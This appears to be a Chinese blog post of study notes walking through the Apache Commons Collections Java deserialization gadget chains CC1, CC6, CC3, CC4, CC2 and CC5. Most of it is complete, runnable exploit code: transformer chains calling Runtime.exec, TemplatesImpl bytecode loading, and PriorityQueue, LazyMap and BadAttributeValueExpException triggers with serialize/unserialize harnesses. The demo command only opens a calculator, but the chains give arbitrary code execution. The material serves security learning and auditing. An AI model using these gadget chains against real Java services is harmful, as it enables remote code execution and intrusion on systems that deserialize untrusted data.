前言
emmm首先这篇文章是跟着@白日梦组长学的,是在自己有一定的Java审计和Java反序列化的基础上重新回顾(其实我已经看了好几遍了,每次看的感觉都不一样,故自己再次总结一下CC的全系列),其实归根来说,CC系列其实就是一个链子的排列组合,从我最后的图可以看出,其实就是一个迷宫,完美的诠释了什么叫条条大路通罗马
的含义,这里就对反序列化和一些基础知识就不过多赘述,目的就是为了让我忘记CC的时候看我这篇博客可以完全想起来CC到底是怎么个事,文章顺序是跟组长一样的,因为他安排的已经非常到位了
CC1
CC1有两条 分别是 TransformedMap
跟LazyMap
环境配置如下
1 2 3 4 5
| <dependency> <groupId>commons-collections</groupId> <artifactId>commons-collections</artifactId> <version>3.2.1</version> </dependency>
|
作者是先从 commons-collections-3.2.1.jar!\org\apache\commons\collections\Transformer
在这里找到了一个接口 Transformer
他接受一个Object的传参,并且返回的也是Object,而他的实现类都在\commons-collections-3.2.1.jar!\org\apache\commons\collections\functors
(这是commons-collections
自定义的一组功能类)
作者找到了InvokerTransformer
这个实现类中的transform
方法可以任意方法调用的写法
如何调用呢?其实也很简单,先弹个计算器
1 2
| InvokerTransformer invokerTransformer = new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}); invokerTransformer.transform(Runtime.getRuntime());
|
那么我们找到了危险函数,我们就往上找谁去能够调用transform
并且是可以传入可控的Object对象的
作者就找到了org\apache\commons\collections\map\TransformedMap
类中的checkSetValue
方法是接收Object
对象并且调用了transform
方法,并且是protected
属性
那么聪这个函数来看有颜色变换而且现在来看并不知道valueTransformer
是啥,所以我们先去看一下这个函数的构造方法
发现是传入Map map, Transformer keyTransformer, Transformer valueTransformer
三个参数,并且把参数给到this.valueTransformer
但是这里由于是protected
属性,所以再去找一下是自己在哪里调用了自己
发现存在一个静态方法decorate
,也是传入三个参数直接传入到构造方法中,那么我们从上面的代码进行修改一下看能否调用
1 2 3
| InvokerTransformer invokerTransformer = new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"});
HashMap<Object, Object> map = new HashMap<>();
|
发现已经赋值了,那我们就看看如何调用这个protected
属性的checkSetValue
于是作者找到了 commons-collections-3.2.1-sources.jar!\org\apache\commons\collections\map\AbstractInputCheckedMapDecorator.java#setValue
这里要搞清楚这个类的逻辑,
AbstractInputCheckedMapDecorator
这个类其实是TransformedMap
的父类
并且这个setValue
方法是在一个静态类MapEntry
里头的
搞清楚逻辑后,其实这个MapEntry
就是遍历Map的键值对的一个静态类,在以下代码中就会触发他的方法(其实就是重写了Map#setvalue
方法)
1 2 3
| for (Map.Entry entry:transformedMap.entrySet()){ entry.setValue("aaa"); }
|
那其实就可以得到,只要去对这个键值对进行setValue
方法即可触发
所以现在只要把我们的Runtime对象传入到value值即可触发任意方法调用
1 2 3 4 5 6 7 8
| InvokerTransformer invokerTransformer = new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}); Runtime r = Runtime.getRuntime(); HashMap<Object, Object> map = new HashMap<>(); map.put("q","q"); Map<Object,Object> transformedMap = TransformedMap.decorate(map,null,invokerTransformer); for (Map.Entry entry:transformedMap.entrySet()){ entry.setValue(r); }
|
那么我们后半条链子就连起来了,接下来就是去找哪个地方是存在Entry
的遍历的,并且可以把对象传入的点
AnnotationInvocationHandler
作者就找到了jdk1.8.0_65\src\sun\reflect\annotation\AnnotationInvocationHandler.java
中的 readObject
方法是调用了setValue
,那么其实已经找到readObject
就非常好可以进行串联了
那我们来看一下他的构造方法
也很简单,就是传一个注解和一个Map类,又因为他不是public类,所以必须得用反射去实例化他,那么就其实挺简单,就反射区实例化他即可,然后把我们设计好的Entry
传给他即可
1 2 3 4
| Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler"); Constructor cl = c.getDeclaredConstructor(Class.class,Map.class); cl.setAccessible(true); cl.newInstance(Override.class,transformedMap);
|
但是这里仍然存在几个问题
Runtime
对象是不可以序列化的,需要用反射进行序列化
setValue
方法的参数貌似不可控
- 有两个if判断需要进去
先解决第一个问题 如何让Runtime
对象可以序列化
因为Class类是可以反序列化的,所以只要让Runtime
为Class类并且调用其方法即可
他是存在getRuntime
的静态方法的,所以可以直接调用
1 2 3 4 5 6
| Class r = Runtime.class; Method m = r.getMethod("getRuntime",null); Runtime o = (Runtime) m.invoke(null,null); Method m1 = r.getMethod("exec",String.class); m1.invoke(o,"calc");
|
那第一个问题就解决了,那么接下来就是通过InvokerTransformer
的反射来吧这个反射重写一遍
1 2 3 4
| Class r = Runtime.class; Method m = (Method) new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}).transform(r); Runtime o = (Runtime) new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}).transform(m); new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"}).transform(o);
|
这样就写好了,但是可以发现这里是前一个接收的对象作为后一个transform方法的输入
所以作者又找到了一个类 ChainedTransformer
构造方法就是传一个Transformer
类的数组
然后这个类的transform
方法就会进行一个链式调用
那么我可以定义一个Transformer
的数组然后将InvokerTransformer
的发射链式调用写进去然后去触发其transform
方法即可
1 2 3 4 5 6 7 8 9
| Class r = Runtime.class; Transformer[] transformers = new Transformer[]{ new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class}, new Object[]{"getRuntime",null}), new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}), new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})} ;
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers); chainedTransformer.transform(r);
|
那么现在就剩下两个问题了
我们跟进去看如何去保证两个If语句都进入呢
首先第一个if是比较容易过的,因为他要去找AnnotationInvocationHandler
传进来的注解的成员变量,要存在并且map的key可以找到他的成员变量即可,所以做出以下修改
第二个if就直接过就行了,所以最后的问题就是这一句话
1
| memberValue.setValue(new AnnotationTypeMismatchExceptionProxy(value.getClass() + "[" + value + "]")
|
那是不是这个传入的东西不可控了呢?
这里作者再次找到了一个实现类ConstantTransformer
他的transform
方法就是一句话 传入什么都返回常量,那我无所谓value的值,只需要在
那如果返回的常量是Runtime.class
就可以进行传入了
整条链子就结束了 exp如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50
| import org.apache.commons.collections.Transformer; import org.apache.commons.collections.functors.ChainedTransformer; import org.apache.commons.collections.functors.ConstantTransformer; import org.apache.commons.collections.functors.InvokerTransformer; import org.apache.commons.collections.map.TransformedMap;
import java.io.*; import java.lang.annotation.Target; import java.lang.reflect.Constructor; import java.util.HashMap; import java.util.Map;
public class Main {
public static void serialize(Object obj) throws IOException { ObjectOutputStream oos =new ObjectOutputStream(new FileOutputStream("ser.bin")); oos.writeObject(obj); }
public static Object unserialize(String Filename) throws IOException, ClassNotFoundException { ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename)); Object obj = ois.readObject(); return obj; }
public static void main(String[] args) throws Exception { Transformer[] transformers = new Transformer[]{ new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class}, new Object[]{"getRuntime",null}), new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}), new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})} ;
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
HashMap<Object, Object> map = new HashMap<>(); map.put("value","aaa"); Map<Object,Object> transformedMap = TransformedMap.decorate(map,null,chainedTransformer); Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler"); Constructor cls = c.getDeclaredConstructor(Class.class,Map.class); cls.setAccessible(true); Object o = cls.newInstance(Target.class,transformedMap); serialize(o); unserialize("ser.bin");
} }
|
我们来回顾一下这条链子,从正向调过去
1 2 3 4 5
| 反序列化#readObject-> AnnotationInvocationHandler#readObject(存在setValue) MapEntry#setValue(存在checkSetValue) transformedMap#checkSetValue(存在transform) InvokerTransformer.transform(就可以调用任意方法执行任意操作)
|
![image](https://zjacky-blog.oss-cn-beijing.aliyuncs.com/blog/202312111540200.png)
LazyMap
在调用transform
方法中,LazyMap#get()
也调用了
但这里存在个条件
- key要为空
然后就会调用factory
的transform
,那factory
咋来的呢?
可以看看他的静态方法和构造器
可以明显看出 就是构造的时候传进去Transformer
类即可
所以可以构造如下代码
1
| Map<Object,Object> lazyMap = LazyMap.decorate(map,chainedTransformer);
|
那么往上找一下谁调用了get()
方法并且可以传值为Object
于是作者找到了AnnotationInvocationHandler#invoke
方法调用了get
方法
又因为这个是invoke
方法,所以可以想到如果传入的是一个动态代理,并且调用的这个处理器类就可以默认去执行他的invoke
方法,所以其实也很清晰,就是通过传入一个代理类然后去调用一个方法即可触发这个代理调用处理器的invoke
方法,那么这里的invoke
是有几个条件的
- 不能调用
equals
- 无参方法
结果readObject()
中真的就存在一个不受限制的无参方法entrySet
所以这里就可以写exp了,将我们代理类以Map类传入,就可以走通了
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22
| Transformer[] transformers = new Transformer[]{ new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class}, new Object[]{"getRuntime",null}), new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}), new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})} ;
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers); HashMap<Object, Object> map = new HashMap<>(); Map<Object,Object> lazyMap = LazyMap.decorate(map,chainedTransformer); Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler"); Constructor cls = c.getDeclaredConstructor(Class.class,Map.class); cls.setAccessible(true); InvocationHandler h = (InvocationHandler) cls.newInstance(Override.class,lazyMap);
Map maproxy = (Map) Proxy.newProxyInstance(LazyMap.class.getClassLoader(),new Class[]{Map.class},h);
Object o = cls.newInstance(Override.class,maproxy); serialize(o); unserialize("ser.bin");
|
这里来解释一下为什么代理Map和实例化两个 因为我们可以看到两个membervalue
第一个实例化对象是把Map给到readObject的Map.Entry
来调用entrySet
,第二个实例化对象是通过调用entrySet
来触发动态代理的invoke
方法
CC6
他是不受JDK版本的限制的
CC6其实就是CC1的LazyMap
后半段+前半段是HashMap
链子也很简单 作者从HashMap中发现了如下东西
1 2 3 4
| HashMap#readObject TiedMapEntry#hashcode LazyMap#get InvokerTransformer.transform(就可以调用任意方法执行任意操作)
|
先看TiedMapEntry
的构造方法比较简单直接传map跟key即可
所以简单就可以构造出来,这里先放序列化就可以调用calc的
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17
| Transformer[] transformers = new Transformer[]{ new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class}, new Object[]{"getRuntime",null}), new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}), new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})} ;
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
HashMap<Object, Object> map = new HashMap<>(); Map<Object,Object> lazyMap = LazyMap.decorate(map,chainedTransformer);
TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, "aa"); HashMap<Object, Object> map2 = new HashMap<>(); map2.put(tiedMapEntry, "bbb");
serialize(map2);
|
为啥呢,从URLDNS链也可以知道 ,HashMap#put()
方法也是可以触发hashcode
的,所以我们还需要用反射的方式去修改点属性让他反序列化出来也没问题
所以可以先让他put进去的时候是空的,然后put完去序列化的时候通过反射再给他赋值
但是这里反序列化还是不会执行,为什么呢?通过调试我们发现他在LazyMap#get()
方法的时候最后会把key return回去
那也就是说在put方法之后我们去把这个key给remote
掉就好了
最终exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24
| Transformer[] transformers = new Transformer[]{ new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class}, new Object[]{"getRuntime",null}), new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}), new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})} ;
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
HashMap<Object, Object> map = new HashMap<>(); Map<Object,Object> lazyMap = LazyMap.decorate(map,new ConstantFactory(1));
TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, "aa"); HashMap<Object, Object> map2 = new HashMap<>(); map2.put(tiedMapEntry, "bbb"); lazyMap.remove("aa");
Class c = LazyMap.class; Field factoryfield = c.getDeclaredField("factory"); factoryfield.setAccessible(true); factoryfield.set(lazyMap,chainedTransformer);
serialize(map2); unserialize("ser.bin");
|
CC3
CC3其实后半段就是动态类加载,其实就是跟Fastjson
的<=1.2.24的Jdk7u21链子是一样的,(因为我先学了fastjson)
TemplatesImpl链
TemplatesImpl.TransletClassLoader#defineClass()
因为要找defineclass
重写过的方法,所以这条链子的作者在rt.jar
中找到了defineClass com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl.TransletClassLoader.defineClass()
TemplatesImpl#defineTransletClasses()
但是在实际场景中,因为defineClass方法作用域却是不开放的(就是并不是public方法,所以需要找谁去调用了他),所以我们很很难直接利用到它所以我们要去找谁调用了这个defineClass
函数 ,于是找到了com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl#defineTransletClasses()
TemplatesImpl#getTransletInstance()
再往上找看哪里是public
属性的方法调用了他,并且在上述方法中是对字节码进行了加载,并没有初始化,所以要找到链子的某个地方进行了初始化并且最终的入口方法是public方法,最后作者在这里找到了
com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl#getTransletInstance()
可以看到在加载了_class
属性后进行了.newInstance()
初始化,完全符合我们的要求
但是他仍然是私有方法
所以继续往上找于是找到了com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl#newTransformer()
所以我们先来写一个demo(因为_tfactory
在反序列化的时候会自动实例化赋值,但是直接调用并不会所以这里写demo的时候需要自行加上才能执行成功)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
| TemplatesImpl templates = new TemplatesImpl(); Class tc = templates.getClass(); Field bytecodesField = tc.getDeclaredField("_bytecodes"); bytecodesField.setAccessible(true);
byte[] code = Files.readAllBytes(Paths.get("E:\\Java_project\\Serialization_Learing\\target\\classes\\Test.class")); byte[][] codes = {code};
bytecodesField.set(templates, codes); Field nameField = tc.getDeclaredField("_name"); nameField.setAccessible(true); nameField.set(templates, "test"); Field _tfField = tc.getDeclaredField("_tfactory"); _tfField.setAccessible(true); _tfField.set(templates, new TransformerFactoryImpl()); templates.newTransformer();
|
这里有个要注意的点
- 455行会去进行强制类型转换为
AbstractTranslet
类,那我们是不是要传该类进来呢?
在这个地方他会去判断这个父类是否为 com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet
所以加载的字节码文件要是集成了com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet
这个的类
那么后半段执行代码的点就可以修改了,其实跟CC1基本都不变,只是修改了一下执行代码的形式,
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34
| TemplatesImpl templates = new TemplatesImpl(); Class tc = templates.getClass(); Field bytecodesField = tc.getDeclaredField("_bytecodes"); bytecodesField.setAccessible(true); byte[] code = Files.readAllBytes(Paths.get("E:\\Java_project\\Serialization_Learing\\target\\classes\\Test.class")); byte[][] codes = {code}; bytecodesField.set(templates, codes); Field nameField = tc.getDeclaredField("_name"); nameField.setAccessible(true); nameField.set(templates, "test"); Field _tfField = tc.getDeclaredField("_tfactory"); _tfField.setAccessible(true); _tfField.set(templates, new TransformerFactoryImpl()); Transformer[] transformers = new Transformer[]{ new ConstantTransformer(templates), new InvokerTransformer("newTransformer", null, null)};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers); HashMap<Object, Object> map = new HashMap<>(); Map<Object,Object> lazyMap = LazyMap.decorate(map,chainedTransformer);
Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler"); Constructor cls = c.getDeclaredConstructor(Class.class,Map.class); cls.setAccessible(true); InvocationHandler h = (InvocationHandler) cls.newInstance(Override.class,lazyMap);
Map maproxy = (Map) Proxy.newProxyInstance(LazyMap.class.getClassLoader(),new Class[]{Map.class},h);
Object o = cls.newInstance(Override.class,maproxy);
serialize(o); unserialize("ser.bin");
|
上述其实是去找谁去调用了newTransformer()
导致可以连接上动态类加载的TemplatesImpl
链,所以想到了InvokerTransformer
当中的类似反射的代码来完成调用但是如果InvokerTransformer
被ban了,才到真正的CC3 ,因为是绕过了InvokerTransformer
的限制,采用了另一条链子
作者继续往上跟看谁调用了newTransformer()
,于是找到了com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter.java
TrAXFilter
这个类是直接传入Templates类后调用的构造方法就调用了newTransformer()
方法,也就是说只要找到一个地方可以调用TrAXFilter
他的构造方法 ,就可以成功连接上动态类加载的后半条链子了
于是作者找到了\commons-collections-3.2.1.jar!\org\apache\commons\collections\functors\InstantiateTransformer.java
看一下他的transform
方法
那么我们就可以根据其构造方法去构造,然后通过之前的办法去调用其transform
即可全部连接起来
写出以下demo
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
| TemplatesImpl templates = new TemplatesImpl(); Class tc = templates.getClass(); Field bytecodesField = tc.getDeclaredField("_bytecodes"); bytecodesField.setAccessible(true); byte[] code = Files.readAllBytes(Paths.get("E:\\Java_project\\Serialization_Learing\\target\\classes\\Test.class")); byte[][] codes = {code}; bytecodesField.set(templates, codes); Field nameField = tc.getDeclaredField("_name"); nameField.setAccessible(true); nameField.set(templates, "test"); Field _tfField = tc.getDeclaredField("_tfactory"); _tfField.setAccessible(true); _tfField.set(templates, new TransformerFactoryImpl());
InstantiateTransformer instantiateTransformer = new InstantiateTransformer(new Class[]{Templates.class},new Object[]{templates}); instantiateTransformer.transform(TrAXFilter.class);
|
这样其实就可以调用TrAXFilter
的构造方法了,那么现在就是去整条链子串起来即可
最后exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27
| TemplatesImpl templates = new TemplatesImpl(); Class tc = templates.getClass(); Field bytecodesField = tc.getDeclaredField("_bytecodes"); bytecodesField.setAccessible(true); byte[] code = Files.readAllBytes(Paths.get("E:\\Java_project\\Serialization_Learing\\target\\classes\\Test.class")); byte[][] codes = {code}; bytecodesField.set(templates, codes); Field nameField = tc.getDeclaredField("_name"); nameField.setAccessible(true); nameField.set(templates, "test");
InstantiateTransformer instantiateTransformer = new InstantiateTransformer(new Class[]{Templates.class},new Object[]{templates});
Transformer[] transformers = new Transformer[]{ new ConstantTransformer(TrAXFilter.class), instantiateTransformer };
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers); HashMap<Object, Object> map = new HashMap<>(); Map<Object,Object> lazyMap = LazyMap.decorate(map,chainedTransformer); Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler"); Constructor cls = c.getDeclaredConstructor(Class.class,Map.class); cls.setAccessible(true); InvocationHandler h = (InvocationHandler) cls.newInstance(Override.class,lazyMap); Map maproxy = (Map) Proxy.newProxyInstance(LazyMap.class.getClassLoader(),new Class[]{Map.class},h); Object o = cls.newInstance(Override.class,maproxy);
|
其实就是利用了InstantiateTransformer
可以执行构造方法拼接了一下后续的动态类加载这样的思路
CC4
从CC4开始就要换依赖了
1 2 3 4 5 6 7 8 9 10 11 12
| <dependencies> <dependency> <groupId>commons-collections</groupId> <artifactId>commons-collections</artifactId> <version>3.2.1</version> </dependency> <dependency> <groupId>org.apache.commons</groupId> <artifactId>commons-collections4</artifactId> <version>4.0</version> </dependency> </dependencies>
|
其实在CC4中也是没有变化太多,而是新引入了一个CC4的包,跟原来CC1的包进行了拼接,那么作者其实是在CC4的包中去寻找调用transform
方法的类,在
commons-collections4-4.0.jar!\org\apache\commons\collections4\comparators\TransformingComparator#compare()
中找到了调用transform
方法
这里也是说的很模糊,反正就是看谁去调用了这个compare
方法,于是找到了
PriorityQueue#siftDownUsingComparator()
jdk1.8.0_65\src.zip!\java\util\PriorityQueue#siftDownUsingComparator()
调用了compare
方法
再往上跟就是谁去调用了siftDownUsingComparator
,找到的是 jdk1.8.0_65\src.zip!\java\util\PriorityQueue#siftDown
继续往上跟 找到的是 jdk1.8.0_65\src.zip!\java\util\PriorityQueue#heapify()
PriorityQueue#readObject()
继续往上跟 就是jdk1.8.0_65\src.zip!\java\util\PriorityQueue#readObject()
至此就跟到readObject
结束了,所以只需要一个入口类去触发这个readObject
方法即可传入,那么接下里就是构造EXP了
这里有几个要注意的点
- 这里的
site
必须为两个否则进不去这个siftDown
方法中
- 其实他在
add
方法的时候也会去调用compare
方法,所以跟URLDNS或者CC3一样都要去反射把值修改一下
- CC4跟CC3的包其实更新了一个版本后在
TransformingComparator
中是有改变的,在CC4中这个类继承了Serializable
接口导致可以序列化
而在CC3中是并没有进行序列化的继承的
最后的EXP
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34
| TemplatesImpl templates = new TemplatesImpl(); Class tc = templates.getClass(); Field bytecodesField = tc.getDeclaredField("_bytecodes"); bytecodesField.setAccessible(true); byte[] code = Files.readAllBytes(Paths.get("E:\\Java_project\\Serialization_Learing\\target\\classes\\Test.class")); byte[][] codes = {code}; bytecodesField.set(templates, codes); Field nameField = tc.getDeclaredField("_name"); nameField.setAccessible(true); nameField.set(templates, "test");
InstantiateTransformer instantiateTransformer = new InstantiateTransformer(new Class[]{Templates.class},new Object[]{templates});
Transformer[] transformers = new Transformer[]{ new ConstantTransformer(TrAXFilter.class), instantiateTransformer };
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
TransformingComparator transformingComparator = new TransformingComparator<>(new ConstantTransformer<>(1)); PriorityQueue priorityQueue = new PriorityQueue(transformingComparator);
priorityQueue.add(templates); priorityQueue.add(2);
Class c = transformingComparator.getClass(); Field transformingComparatorfield = c.getDeclaredField("transformer"); transformingComparatorfield.setAccessible(true); transformingComparatorfield.set(transformingComparator,chainedTransformer);
serialize(priorityQueue); unserialize("ser.bin");
|
CC2
一样要依赖于CC4 这里跳了一下直接走了TemplatesImpl#newTransformer()
去动态加载类
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29
| TemplatesImpl templates = new TemplatesImpl(); Class tc = templates.getClass(); Field bytecodesField = tc.getDeclaredField("_bytecodes"); bytecodesField.setAccessible(true); byte[] code = Files.readAllBytes(Paths.get("E:\\Java_project\\Serialization_Learing\\target\\classes\\Test.class")); byte[][] codes = {code}; bytecodesField.set(templates, codes); Field nameField = tc.getDeclaredField("_name"); nameField.setAccessible(true); nameField.set(templates, "test");
InstantiateTransformer instantiateTransformer = new InstantiateTransformer(new Class[]{Templates.class},new Object[]{templates});
InvokerTransformer<Object,Object> invokerTransformer = new InvokerTransformer<>("newTransformer", new Class[]{}, new Object[]{}); TransformingComparator transformingComparator = new TransformingComparator<>(new ConstantTransformer<>(1)); PriorityQueue priorityQueue = new PriorityQueue(transformingComparator);
priorityQueue.add(templates); priorityQueue.add(2);
Class c = transformingComparator.getClass(); Field transformingComparatorfield = c.getDeclaredField("transformer"); transformingComparatorfield.setAccessible(true); transformingComparatorfield.set(transformingComparator,invokerTransformer);
serialize(priorityQueue); unserialize("ser.bin");
|
CC5
CC5其实也是一种排列组合,就是作者在TiedMapEntry
中还找到了toString
方法也可以调用LazyMap#get()
都是一样的
所以去找了一下谁去调用了toString
方法 找到了\src.zip!\javax\management\BadAttributeValueExpException.java
那么也是拼接到LazyMap#get()
就好了
由于这里组长并没有给出EXP,在自己有一定的理解情况下补充一下
一开始我打算直接加入这一行代码就可以完成逻辑了
1
| BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(tiedMapEntry);
|
但是发现并没有成功,所以继续断点看看
发现这个valObj
是String型的,所以得要用反射去把这个值修改为TiedMapEntry#ToString
即可
最后修改为
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29
| Transformer[] transformers = new Transformer[]{ new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class}, new Object[]{"getRuntime",null}), new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}), new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})} ;
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
HashMap<Object, Object> map = new HashMap<>(); Map<Object,Object> lazyMap = LazyMap.decorate(map,new ConstantFactory(1));
TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, "qq"); lazyMap.remove("qq"); BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(null); Class b = badAttributeValueExpException.getClass(); Field bfield = b.getDeclaredField("val"); bfield.setAccessible(true); bfield.set(badAttributeValueExpException,tiedMapEntry);
Class c = LazyMap.class; Field factoryfield = c.getDeclaredField("factory"); factoryfield.setAccessible(true); factoryfield.set(lazyMap,chainedTransformer);
unserialize("ser.bin");
|
总结
其实CC的精髓,就是去找谁的readObject
可以传任意调用对象,并且可以走到 transform
里头来进行动态类加载或者任意方法调用
最后附上CC的结构图 我个人觉得还是画得比较清晰的